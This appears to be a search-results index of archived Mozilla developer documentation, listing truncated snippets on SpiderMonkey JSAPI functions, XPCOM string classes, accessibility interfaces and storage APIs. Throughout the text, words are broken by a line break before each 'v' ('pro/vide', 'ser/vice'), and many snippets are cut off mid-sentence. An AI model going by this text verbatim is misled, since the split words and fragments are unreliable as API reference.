vides the jsprincipals objects, so it must also pro
vide a jsprincipalstranscoder if it intends to serialize or deserialize principals.
... the callback xdr-encodes or -decodes a principals instance, based on whether xdr->mode is jsxdr_encode, in which case *principalsp should be encoded; or jsxdr_decode, in which case implementations must return a held (
via jsprincipals_hold), non-null *principalsp out parameter.
JSTraceOp
syntax typedef void (* jstraceop)(jstracer *trc, jsobject *obj); name type description trc jstracer * the tracer
visiting obj.
... obj jsobject * the object being
visited.
JSVAL_TO_BOOLEAN
otherwise the beha
vior is undefined.
...that function has well-defined beha
vior even when the argument is an object, number, or something else.
JSVAL_TO_OBJECT
this function is not type-safe: if v is not an object or jsval_null, the beha
vior is undefined.
... to convert a value to an object, use the js_valuetoobject function, which has well-defined beha
vior even when the argument is not an object or null.
JS_ClearContextThread
js_setcontextthread returns the thread id of the thread pre
viously associated with this context.
... when the function is used properly, the return value is always zero, indicating that no thread was pre
viously associated with the context.
JS_CompileFileHandleForPrincipals
this article covers features introduced in spidermonkey 1.8.5 please pro
vide a description of this function.
... obj jsobject * filename const char fh file * principals jsprincipals * description please pro
vide a description.
JS_CompileFileHandleForPrincipalsVersion
this article covers features introduced in spidermonkey 1.8.5 please pro
vide a description for this function.
... obj jsobject * filename const char fh file * principals jsprincipals * version jsversion description please pro
vide a description.
JS_DecompileScriptObject
this article covers features introduced in spidermonkey 1.8.5 fixme: please pro
vide a description for this function.
... scriptobj jsobject * name const char * indent unsigned int description fixme: please pro
vide a description.
JS_DefineProperty
it differs from js_setproperty in that: it does not behave like ordinary property assignment in the javascript language; it allows the application to specify additional details (getter, setter, and attrs) governing the new property's beha
vior; it never calls a setter; it can call the jsclass.addproperty callback when js_setproperty would not, because it can replace an existing property.
... the javascript engine will call the getter or setter callback each time the property is read or written, whether from javascript code or
via jsapi functions like js_getproperty and js_setproperty.
JS_DeleteProperty2
jsobjectops.deleteproperty implements this beha
vior.
...there is no longer any way to get this beha
vior.) to remove all properties from an object, call js_clearscope.
JS_DestroyRuntime
description js_destroyruntime frees the specified the javascript runtime en
vironment, rt.
...js_destroyruntime garbage collects and frees the memory pre
viously allocated by js_newruntime.
JS_DropExceptionState
destroys a jsexceptionstate object pre
viously created using js_saveexceptionstate.
...this object should pre
viously have been created using js_saveexceptionstate.
JS_DumpNamedRoots
js_dumpnamedroots pro
vides a way for the application to access the contents of that table.
...in pseudocode: /* pseudocode explanation of what js_dumpnamedroots does */ void js_dumpnamedroots(jsruntime *rt, dumpfn dump, void *data) { for each (root in rt->namedroots) dump(root.name, root.address, data); } callback syntax dump is a pointer to a function pro
vided by the application.
JS_IterateCompartments
beware that there is no guarantee that the compartment will sur
vive after the callback returns.
... also, barriers are disabled
via the tracesession.
JS_LeaveLocalRootScope
lea
ving a nested local root scope causes all objects created since the matching js_enterlocalrootscope call to become subject to garbage collection.
...however, js_leavelocalrootscopewithresult pro
vides a way to transfer one value to the enclosing local root scope.
JS_NewExternalString
this must be an id number pre
viously returned by a successful call to js_addexternalstringfinalizer.
...if you use this as a pointer, you should clean it up in the external string finalizer that was pre
viously set up using js_addexternalstringfinalizer.
JS_NewGlobalObject
debugger api hook during global creation, we fire notifications to callbacks registered
via the debugger api.
... this api pro
vides a way for consumers to set slots atomically (immediately after the global is created), before any debugger hooks are fired.
JS_PopArguments
mark void * pointer to a void * which holds the stack frame pointer pre
viously supplied by js_pusharguments.
... description js_poparguments frees the stack frame pointer pre
viously allocated by js_pusharguments and unroots the jsvals which have been associated with it (those returned by js_pusharguments as well).
JS_RestoreExceptionState
restores the exception state from a jsexceptionstate object pre
viously created using js_saveexceptionstate.
... description this function permits to restore any pre
viously saved exception state which was saved into a jsexceptionstate object created by the js_saveexceptionstate function.
JS_SetBranchCallback
pro
vides request.
...the engine does not execute finally blocks in this case; this is the same beha
vior as any native method or callback.
JS_SetContextCallback
for example, the callback my call js_getcontextprivate(cx) in order to free up resources pre
viously allocated by js_setcontextprivate.
...this function returns the pre
vious context callback, if any, else null.
JS_SetInterruptCallback
pro
vides request.
... to schedule the gc and for other acti
vities the engine internally triggers interrupt callbacks.
JS_SetOperationCallback
pro
vides request.
... to schedule the gc and for other acti
vities the engine internally triggers operation callbacks.
JS_malloc
p void * (js_realloc and js_free only) pointer to a pre
viously allocated region of memory to resize or deallocate.
...js_free deallocates a region of memory allocated a pre
vious call to js_malloc, js_realloc, or js_strdup.
jsdouble
implementation note: spidermonkey has had several bugs invol
ving details of floating-point arithmetic on various platforms.
... controlling the beha
vior of floating-point arithmetic is very architecture- and system-specific, and can be hard to get right.
SpiderMonkey: The Mozilla JavaScript runtime
jsapi user guide this guide pro
vides an over
view of spidermonkey and describes how you can embed engine calls in your applications to make them javascript-aware.
... spidermonkey internals a design over
view and a file-by-file walkthrough of the implementation.
TPS Tab Lists
there are a handful of static pages at http://hg.mozilla.org/ser
vices/tps/file/tip/pages which can be used for tab testing, and data: url's can be used as well.
... example see the tps tabs unit test: http://hg.mozilla.org/ser
vices/tps/f...s/test_tabs.js ...
Zest runtimes
python no code available yet if you are interested in working on an existing or new zest runtime then please get in touch
via the zest group.
... related links zest over
view ...
compare-locales
if you want to test the localization for de, run $ compare-locales browser/locales/l10n.toml ./l10n/ de to check mobile, replace the pre
vious line with: $ compare-locales mobile/android/locales/l10n.toml ./l10n/ zh-tw to check mail, suite, calendar that lives on comm-central, you can either rely on the check-out of mozilla within comm-central repository that the regular comm-central build instructions generate: $ compare-locales ./comm-central/mail/locales/l10n.toml ./l10n/ zh-tw if you don't want to use a copy of mozilla-cen...
... the output closes with a summary, gi
ving the total counts of missing and obsolete strings and words, and some statistics on how many strings are changed or not, excluding access- and commandkeys.
Mozinfo
the various checks needed lead to a lot of copy+pasting, lea
ving the reader to wonder....is this specific check necessary for (e.g.) an operating system?
...additionally, the ser
vice pack in use is available on the windows platform.
Gecko events
event_
visible_data_changed a
visibile data event indicates the change of the
visual appearance of an accessible object.
... this includes for example most of the attributes available
via the iaccessiblecomponent interface.
Implementation Details
instead, the same information is available
via theisimpledomdocument interface.
...please refer to pages below for interesting at api: msaa ia2 at-spi differences with other applications this section pro
vides information about implementation differences between gecko based applications and other applications.
Feed content access API
loading the feed and sending it to the parser is done using code similar to this: fetch: function(feedurl) { var httprequest = null; function inforeceived() { var data = httprequest.responsetext; var ioser
vice = components.classes['@mozilla.org/network/io-ser
vice;1'] .getser
vice(components.interfaces.nsiioser
vice); var uri = ioser
vice.newuri(feedurl, null, null); if (data.length) { var parser = components.classes["@mozilla.org/feed-processor;1"] .createinstance(components.interfaces.nsifeedprocessor)...
...for details on each of the feed access interfaces,
visit their respective reference pages.
Places Expiration
common expiration runs on a timer, every 3 minutes and uses a simple adaptive algorithm: if the last step was unable to expire enough entries the next one will expire more entries, otherwise if the pre
vious step completed the cleanup the next step will be delayed.
... preferences usually there is no need to tweak or set any preference, since adaptive beha
vior should satisfy each need, though in case of unexpected issues it's possible to act on some hidden preferences: places.history.expiration.interval_seconds: minimum number of seconds between expiration steps.
places.sqlite Database Troubleshooting
open a terminal window and na
vigate to the work folder.
... nn must be replaced with the number we had noted pre
viously: sqlite> pragma user_version = nn; let's update the page_size value: sqlite> pragma journal_mode = truncate; sqlite> pragma page_size = 32768; sqlite> vacuum; sqlite> pragma journal_mode = wal; sqlite> .exit copy the new places.sqlite to the profile folder, overwriting the existing one.
Preferences API
it is relatively easy to use, while pro
viding a number of useful user and developer features, including support for default preferences, user overrides
via user.js, and locking.
... interfaces the preferences api is exposed as a set of xpcom components and interfaces: nsiprefser
vice, nsiprefbranch.
FUEL
we want to start with areas that will pro
vide the most benefit.
...the object needs to be accessed like any other xpcom ser
vice: var application = components.classes["@mozilla.org/fuel/application;1"].getser
vice(components.interfaces.fueliapplication); ...
SMILE
we want to start with areas that will pro
vide the most benefit.
...the object needs to be accessed like any other xpcom ser
vice: var application = components.classes["@mozilla.org/smile/application;1"].getser
vice(components.interfaces.smileiapplication); ...
STEEL
consider using the functions found in appconstants.jsm or ser
vices.jsm instead steel is the scriptable thunderbird easy extension library.
...the object needs to be accessed like any other xpcom ser
vice: var application = components.classes["@mozilla.org/steel/application;1"].getser
vice(components.interfaces.steeliapplication); other resources steel development plan.
extIExtension
implemented
via xpcom ser
vice for extiapplication: see the instructions on the fuel (firefox), steel (thunderbird) and smile (seamonkey) pages.
... method over
view fixme: attributes attribute type description id readonly attribute astring the id of the extension.
extISessionStorage
implemented
via xpcom ser
vice for extiapplication: see the instructions on the fuel (firefox), steel (thunderbird) and smile (seamonkey) pages.
... method over
view these methods are usually accessed
via application.storage.
Toolkit API
the mozilla toolkit is a set of programming interfaces (apis) built on top of gecko which pro
vide advanced ser
vices to xul applications.
... these ser
vices include: profile management chrome registration browsing history extension and theme management application update ser
vice safe mode printing official references structure of an installable bundle: describes the common structure of installable bundles, including extensions, themes, and xulrunner applications extension packaging: specific information about how to package extensions theme packaging: specific information about how to package themes multiple-item extension packaging: specific information about multiple-item extension xpis xul application packaging: specific information about how to package xulrunner applications chrome registration printing in xul apps see also the following developer pages contain examples and discuss...
Resources
« pre
vious this last section of the book pro
vides a list of resources referred to in the tutorial and other links that may be useful to the gecko developer.
...nformation the sdk download linux: http://ftp.mozilla.org/pub/mozilla/releases/mozilla1.4a/gecko-sdk-i686-pc-linux-gnu-1.4a.tar.gz windows: http://ftp.mozilla.org/pub/mozilla/releases/mozilla1.4a/gecko-sdk-win32-1.4a.zip other mozilla downloads gecko resources internal string guide external string guide the gecko networking library ("necko") the netscape portable runtime en
vironment embedding mozilla current module owners xpinstall xul xpcom resources the xpcom project page xulplanet's online xpcom reference information on xpconnect and scriptable components the smart pointer guide xpidl xpidl compiler reference general development resources the world wide web consortium url specification at the w3 gnu make « pre
vious copyright (c) 2003 ...
XPCOM hashtable guide
inserting/remo
ving: o(n): adding and remo
ving items from a large array can be time-consuming o(1): adding and remo
ving items from hashtables is a quick operation wasted space: none: arrays are packed structures, so there is no wasted space.
... all of these hashtable classes can be iterated over
via the iterator class and cleared
via the clear method.
Interfacing with the XPCOM cycle collector
this is a quick over
view of the cycle collector introduced into xpcom for firefox 3, including a description of the steps involved in modifying an existing c++ class to participate in xpcom cycle collection.
... how the collector can fail the cycle collector is a conservative de
vice.
Components.ID
syntax var interfaceid = [ new ] components.id(iid); parameters iid a string of the format '{00000000-0000-0000-0000-000000000000}' gi
ving the interface id of the interface description components.id creates interface ids for use in implementing methods like queryinterface, getinterfaces, and other methods that take interface ids as parameters.
... components.classes, components.classesbyid, components.interfaces pro
vide pretty much all the nsids that most javascript code would ever need to deal with.
Components.lastResult
components.lastresult returns the numeric nsresult code that was the result code of the last xpcom method called
via xpconnect.
... example in the following example, the local variable i contains the actual result returned by bar() (assuming that bar() is called
via xpconnect), and components.lastresult contains the success code returned by bar().
Components.utils.cloneInto
this function pro
vides a safe way to take an object defined in a pri
vileged scope and create a structured clone of it in a less-pri
vileged scope.
... it returns a reference to the clone: var clonedobject = cloneinto(myobject, targetwindow); you can then assign the clone to an object in the target scope as an expando property, and scripts running in that scope can access it: targetwindow.foo = clonedobject; in this way pri
vileged code, such as an add-on, can share an object with less-pri
vileged code like a normal web page script.
Components.utils.evalInSandbox
the evalinsandbox() function enables you to evaluate javascript code inside a sandbox you've pre
viously created using the components.utils.sandbox constructor.
...mysandbox.double = double; var result = components.utils.evalinsandbox("x = y + 2; double(x) + 3", mysandbox); console.log(result); // 17 console.log(mysandbox.x); // 7 operations on objects you insert into this sandbox global scope do not carry pri
vileges into the sandbox: mysandbox.foo = components; // this will give a "permission denied" error components.utils.evalinsandbox("foo.classes", mysandbox); optional arguments you can optionally specify the js version, filename, and line number of the code being evaluated.
PlXPCOM
plxpcom (perl xpcom) pro
vides language bindings letting you use xpcom from perl code.
... the resources here pro
vide information about this language binding and how to use it.
XPCShell Reference
-g this option specifies which gecko runtime en
vironment directory (gredir) to use for xpcom.
... original document information author: da
vid bradley <dbradley@netscape.com> last updated date: 17 march 2003 copyright information: portions of this content are © 1998–2008 by indi
vidual mozilla.org contributors; content available under a creative commons license.
NS_Realloc
this pointer must have been pre
viously allocated by the xpcom memory manager, or this parameter may be null in which case this function behaves like ns_alloc.
... remarks this function pro
vides a convenient way to access the xpcom memory manager.
NS_ShutdownXPCOM
#include "nsxpcom.h" nsresult ns_shutdownxpcom( nsiser
vicemanager* asvcmanager ); parameters asvcmanager [in] the nsiser
vicemanager instance that was returned by ns_initxpcom2 (or ns_initxpcom3) or null.
...once this function has been called, the nsicomponentmanager and nsiser
vicemanager will refuse to return object instances.
NS_ConvertASCIItoUTF16
class declaration method over
view constructors operator= get find rfind rfindchar findcharinset rfindcharinset equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(char ass...
... @param astring is substring to be sought in this @param aignorecase selects case sensiti
vity @param aoffset tells us where in this string to start searching @param acount tells us how far from the offset we are to search.
NS_ConvertUTF16toUTF8
class declaration a helper class that converts a utf-16 string to utf-8 method over
view constructors operator= get find rfind rfindchar findcharinset rfindcharinset compare equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowerca...
... @param astring is substring to be sought in this @param aignorecase selects case sensiti
vity @param aoffset tells us where in this string to start searching @param acount tells us how far from the offset we are to search.
NS_ConvertUTF8toUTF16
class declaration method over
view constructors operator= get find rfind rfindchar findcharinset rfindcharinset equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(char ass...
... @param astring is substring to be sought in this @param aignorecase selects case sensiti
vity @param aoffset tells us where in this string to start searching @param acount tells us how far from the offset we are to search.
NS_LossyConvertUTF16toASCII
class declaration a helper class that converts a utf-16 string to ascii in a lossy manner method over
view constructors operator= get find rfind rfindchar findcharinset rfindcharinset compare equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequal...
... @param astring is substring to be sought in this @param aignorecase selects case sensiti
vity @param aoffset tells us where in this string to start searching @param acount tells us how far from the offset we are to search.
nsAString (External)
class declaration this header pro
vides wrapper classes around the frozen string api which are roughly equivalent to the internal string classes.
...f16_external" shape="rect" title="ns_convertasciitoutf16_external"> <area alt="" coords="491,294,733,342" href="http://developer.mozilla.org/en/ns_convertutf8toutf16_external" shape="rect" title="ns_convertutf8toutf16_external"> <area alt="" coords="757,294,869,342" href="http://developer.mozilla.org/en/nsliteralstring_(external)" shape="rect" title="nsliteralstring_(external)"> </map> method over
view beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral operator= replace append appendliteral operator+= insert cut truncate stripchars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> opera...
nsAutoString
names: nsautostring for wide characters nscautostring for narrow characters method over
view constructors operator= get find rfind rfindchar findcharinset rfindcharinset equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading...
... @param astring is substring to be sought in this @param aignorecase selects case sensiti
vity @param aoffset tells us where in this string to start searching @param acount tells us how far from the offset we are to search.
nsCAutoString
names: nsautostring for wide characters nscautostring for narrow characters method over
view constructors operator= get find rfind rfindchar findcharinset rfindcharinset compare equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim ...
... @param astring is substring to be sought in this @param aignorecase selects case sensiti
vity @param aoffset tells us where in this string to start searching @param acount tells us how far from the offset we are to search.
nsCString
method over
view constructors operator= get find rfind rfindchar findcharinset rfindcharinset compare equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading ...
... @param astring is substring to be sought in this @param aignorecase selects case sensiti
vity @param aoffset tells us where in this string to start searching @param acount tells us how far from the offset we are to search.
nsDependentCString
method over
view constructors assertvalid rebind operator= get find rfind rfindchar findcharinset rfindcharinset compare equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion app...
... @param astring is substring to be sought in this @param aignorecase selects case sensiti
vity @param aoffset tells us where in this string to start searching @param acount tells us how far from the offset we are to search.
nsDependentString
method over
view constructors assertvalid rebind operator= get find rfind rfindchar findcharinset rfindcharinset equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint a...
... @param astring is substring to be sought in this @param aignorecase selects case sensiti
vity @param aoffset tells us where in this string to start searching @param acount tells us how far from the offset we are to search.
nsFixedCString
class declaration method over
view constructors operator= get find rfind rfindchar findcharinset rfindcharinset compare equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(...
... @param astring is substring to be sought in this @param aignorecase selects case sensiti
vity @param aoffset tells us where in this string to start searching @param acount tells us how far from the offset we are to search.
nsFixedString
class declaration method over
view constructors operator= get find rfind rfindchar findcharinset rfindcharinset equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(char ass...
... @param astring is substring to be sought in this @param aignorecase selects case sensiti
vity @param aoffset tells us where in this string to start searching @param acount tells us how far from the offset we are to search.
nsPromiseFlatCString
class declaration method over
view constructors operator= get find rfind rfindchar findcharinset rfindcharinset compare equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(...
... @param astring is substring to be sought in this @param aignorecase selects case sensiti
vity @param aoffset tells us where in this string to start searching @param acount tells us how far from the offset we are to search.
nsPromiseFlatString
class declaration method over
view constructors operator= get find rfind rfindchar findcharinset rfindcharinset equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(char ass...
... @param astring is substring to be sought in this @param aignorecase selects case sensiti
vity @param aoffset tells us where in this string to start searching @param acount tells us how far from the offset we are to search.
nsString
method over
view constructors operator= get find rfind rfindchar findcharinset rfindcharinset equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting...
... @param astring is substring to be sought in this @param aignorecase selects case sensiti
vity @param aoffset tells us where in this string to start searching @param acount tells us how far from the offset we are to search.
nsXPIDLCString
names: nsxpidlstring for wide characters nsxpidlcstring for narrow characters method over
view constructors operator const char* operator[] operator= get find rfind rfindchar findcharinset rfindcharinset compare equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint app...
... @param astring is substring to be sought in this @param aignorecase selects case sensiti
vity @param aoffset tells us where in this string to start searching @param acount tells us how far from the offset we are to search.
nsXPIDLString
names: nsxpidlstring for wide characters nsxpidlcstring for narrow characters method over
view constructors operator const prunichar* operator[] operator= get find rfind rfindchar findcharinset rfindcharinset equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloa...
... @param astring is substring to be sought in this @param aignorecase selects case sensiti
vity @param aoffset tells us where in this string to start searching @param acount tells us how far from the offset we are to search.
IAccessibleComponent
1.0 66 introduced gecko 1.9 inherits from: iunknown last changed in gecko 1.9 (firefox 3) this interface pro
vides the standard mechanism for an assistive technology to retrieve information concerning the graphical representation of an object.
... method over
view [propget] hresult background([out] ia2color background ); [propget] hresult foreground([out] ia2color foreground ); [propget] hresult locationinparent([out] long x, [out] long y ); methods background() returns the background color of this object.
IAccessibleEditableText
other-licenses/ia2/accessibleeditabletext.idlnot scriptable this interface pro
vides clipboard capability to text objects.
...method over
view hresult copytext([in] long startoffset, [in] long endoffset ); hresult cuttext([in] long startoffset, [in] long endoffset ); hresult deletetext([in] long startoffset, [in] long endoffset ); hresult inserttext([in] long offset, [in] bstr text ); hresult pastetext([in] long offset ); hresult replacetext([in] long startoffset, [in] long endoffset, [in] bstr text ); hresult setattrib...
IAccessibleHypertext
method over
view [propget] hresult hyperlink([in] long index, [out] iaccessiblehyperlink hyperlink ); [propget] hresult hyperlinkindex([in] long charindex, [out] long hyperlinkindex ); [propget] hresult nhyperlinks([out] long hyperlinkcount ); methods hyperlink() returns the specified link.
... the returned iaccessiblehyperlink object encapsulates the hyperlink and pro
vides several kinds of information describing it.
amIWebInstallListener
the default implementation displays a confirmation dialog when add-ons are ready to install and uses the observer ser
vice to notify when installations are blocked.
... 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) method over
view boolean onwebinstallblocked(in nsidomwindow awindow, in nsiuri auri, [array, size_is(acount)] in nsivariant ainstalls, [optional] in pruint32 acount); void onwebinstalldisabled(in nsidomwindow awindow, in nsiuri auri, [array, size_is(acount)] in nsivariant ainstalls, [optional] in pruint32 acount); boolean onwebinstallrequested(in nsidomwindow awindow, in nsiuri auri, [array, size_is(acount)] in nsivariant ainstalls, [optional] in pruint32 acount); note: prior to gecko 8.0, all references to nsidomwindow used in this interface were nsidomwindowinternal.
imgIDecoder
method over
view void close(); void flush(); void init(in imgiload aload); unsigned long writefrom(in nsiinputstream instr, in unsigned long count); methods close() closes the stream.
...if this method was pro
vided as an external facility, a separate char * buffer would need to be used in order to call the output stream's other write() method.
inIDOMUtils
inherits from: nsisupports last changed in gecko 22.0 (firefox 22.0 / thunderbird 22.0 / seamonkey 2.19) implemented by: @mozilla.org/inspector/dom-utils;1 as a ser
vice: var inidomutils = components.classes["@mozilla.org/inspector/dom-utils;1"] .getser
vice(components.interfaces.inidomutils); method over
view void addpseudoclasslock(in nsidomelement aelement, in domstring apseudoclass); void clearpseudoclasslocks(in nsidomelement aelement); [implicit_jscontext] jsval colornametorgb(in domstring acolorname); nsiarray getbindingurls(in nsidomelement aelement); nsidomnodelist getchildrenfornode(in nsidomnode anode, in boolean ashowinganonymouscontent...
... return value void setcontentstate() sets the given element as the current owner of the specified state, and removes that state from the pre
vious owner.
mozIColorAnalyzer
toolkit/components/places/mozicoloranalyzer.idlscriptable pro
vides methods to analyze colors in an image 1.0 66 introduced gecko 17.0 inherits from: nsisupports last changed in gecko 17.0 (firefox 17.0 / thunderbird 17.0 / seamonkey 2.14) method over
view void findrepresentativecolor(in nsiuri imageuri, in mozirepresentativecolorcallback callback); methods findrepresentativecolor() given an image uri, find the most representative color for that image based on the frequency of each color.
...this is intended to be used on fa
vicon images.
mozIPersonalDictionary
to access this ser
vice, use var personaldictionary = components.classes["@mozilla.org/spellchecker/personaldictionary;1"] .getser
vice(components.interfaces.mozipersonaldictionary); method over
view void addcorrection(in wstring word,in wstring correction, in wstring lang); void addword(in wstring word, in wstring lang); boolean check(in wstring word, in wstring lang); void endsession(); void getcorrection(in wstring word, [array, size_is(count)] out w...
...getcorrection() gets a list of pre
vious corrections for the word.
mozIRepresentativeColorCallback
toolkit/components/places/mozicoloranalyzer.idlscriptable pro
vides callback methods for mozicoloranalyzer 1.0 66 introduced gecko 17.0 inherits from: nsisupports last changed in gecko 17.0 (firefox 17.0 / thunderbird 17.0 / seamonkey 2.14) method over
view void oncomplete(in boolean success, [optional] in unsigned long color); methods oncomplete() will be called when color analysis finishes.
...if success is false, color is not pro
vided.
mozIStorageFunction
there are a number of already defined functions pro
vided by sqlite.
... last changed in gecko 1.9.1.4 (firefox 3.5.4) inherits from: nsisupports method over
view nsivariant onfunctioncall(in mozistoragevaluearray afunctionarguments); methods onfunctioncall() the implementation of the function.
mozIStoragePendingStatement
last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) inherits from: nsisupports method over
view void cancel(); methods cancel() cancels the pending statement.
...starting with gecko 1.9.2, this information is no longer pro
vided and the method doesn't return a value.
mozIStorageStatementCallback
last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) inherits from: nsisupports method over
view void handlecompletion(in unsigned short areason); void handleerror(in mozistorageerror aerror); void handleresult(in mozistorageresultset aresultset); constants constant value description reason_finished 0 the statement has finished executing normally.
...generally, this method will be called several times, each time pro
viding one or more results.
mozIStorageStatementWrapper
you can then wrap that statement with a wrapper, which implements nsixpcscriptable and pro
vides scriptable helpers letting you execute the statement as a function, access bind variables by name as properties, etc.
... last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits from: nsisupports method over
view void initialize(in mozistoragestatement astatement); void reset(); boolean step(); void execute(); attributes attribute type description statement mozistoragestatement the statement that is wrapped.
mozIStorageVacuumParticipant
/storage/public/mozistoragevacuumparticipant.idlscriptable components can implement this interface to pro
vide information to allow a database to be periodically vacuumed by the storage ser
vice.
...method over
view boolean onbeginvacuum(); void onendvacuum(in boolean asucceeded); attributes attribute type description databaseconnection mozistorageconnection a connection to the database file to be vacuumed.
mozIThirdPartyUtil
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method over
view boolean isthirdpartychannel(in nsichannel achannel, [optional] in nsiuri auri); boolean isthirdpartyuri(in nsiuri afirsturi, in nsiuri aseconduri); boolean isthirdpartywindow(in nsidomwindow awindow, [optional] in nsiuri auri); methods isthirdpartychannel() determine whether the given channel and its content window hierarchy is third party.
...if auri is pro
vided, determine if it is third party with respect to the bottom uri.
nsIAccelerometerUpdate
xpcom/system/nsiaccelerometer.idlnot scriptable replaced by nside
vicemotionupdate 1.0 66 introduced gecko 2.0 obsolete gecko 6.0 inherits from: nsiaccelerometer last changed in gecko 5.0 (firefox 5.0 / thunderbird 5.0 / seamonkey 2.2) this method is only used in content tabs to receive nsiacceleration data from the chrome process.
... method over
view void accelerationchanged(in double x, in double y, in double z); methods accelerationchanged() void accelerationchanged( in double x, in double y, in double z ); parameters x y z the coordinates of the nsiacceleration data.
nsIAccessibleHyperText
inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method over
view nsiaccessiblehyperlink getlink(in long linkindex); long getlinkindex(in long charindex); long getselectedlinkindex(); obsolete since gecko 1.9 attributes attribute type description linkcount long the number of links contained within this hypertext object.
...this can be retrieved
via getlinkindex().
nsIAuthInformation
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) the caller of nsiauthprompt2.promptusernameandpassword() or nsiauthprompt2.promptpasswordasync() pro
vides an object implementing this interface; the prompt implementation can then read the values here to prefill the dialog.
... pre
vious_failed 16 we have already tried to log in for this channel (with auth values from a pre
vious promptauth call), but it failed, so we now ask the user to pro
vide a new, correct login.
nsIAuthPromptAdapterFactory
netwerk/base/public/nsiauthpromptadapterfactory.idlscriptable an interface for wrapping nsiauthprompt interfaces to make them usable
via an nsiauthprompt2 interface.
... 1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method over
view nsiauthprompt2 createadapter(in nsiauthprompt aprompt); methods createadapter() wrap an object implementing nsiauthprompt so that it's usable
via nsiauthprompt2.
nsIBadCertListener2
method over
view boolean notifycertproblem(in nsiinterfacerequestor socketinfo, in nsisslstatus status, in autf8string targetsite); methods notifycertproblem() called in case of a broken ssl status.
...this object usually supports nsisslsocketcontrol, nsitransportsecurityinfo, nsiidentityinfo, nsisslstatuspro
vider, nsiclientauthuserdecision and possibly other interfaces.
nsIBidiKeyboard
a user is a bidirectional writer if they have keyboard layouts in both left-to-right and right-to-left directions (that is users who use arabic, iranian (persian), or israel (hebrew) keyboard layout, beside an us (english) layout.) inherits from: nsisupports last changed in gecko 9.0 (firefox 9.0 / thunderbird 9.0 / seamonkey 2.6) method over
view boolean islangrtl(); void setlangfrombidilevel(in pruint8 alevel); attributes attribute type description havebidikeyboards boolean indicates whether or not the system has at least one keyboard for each direction (left-to-right and right-to-left) installed.
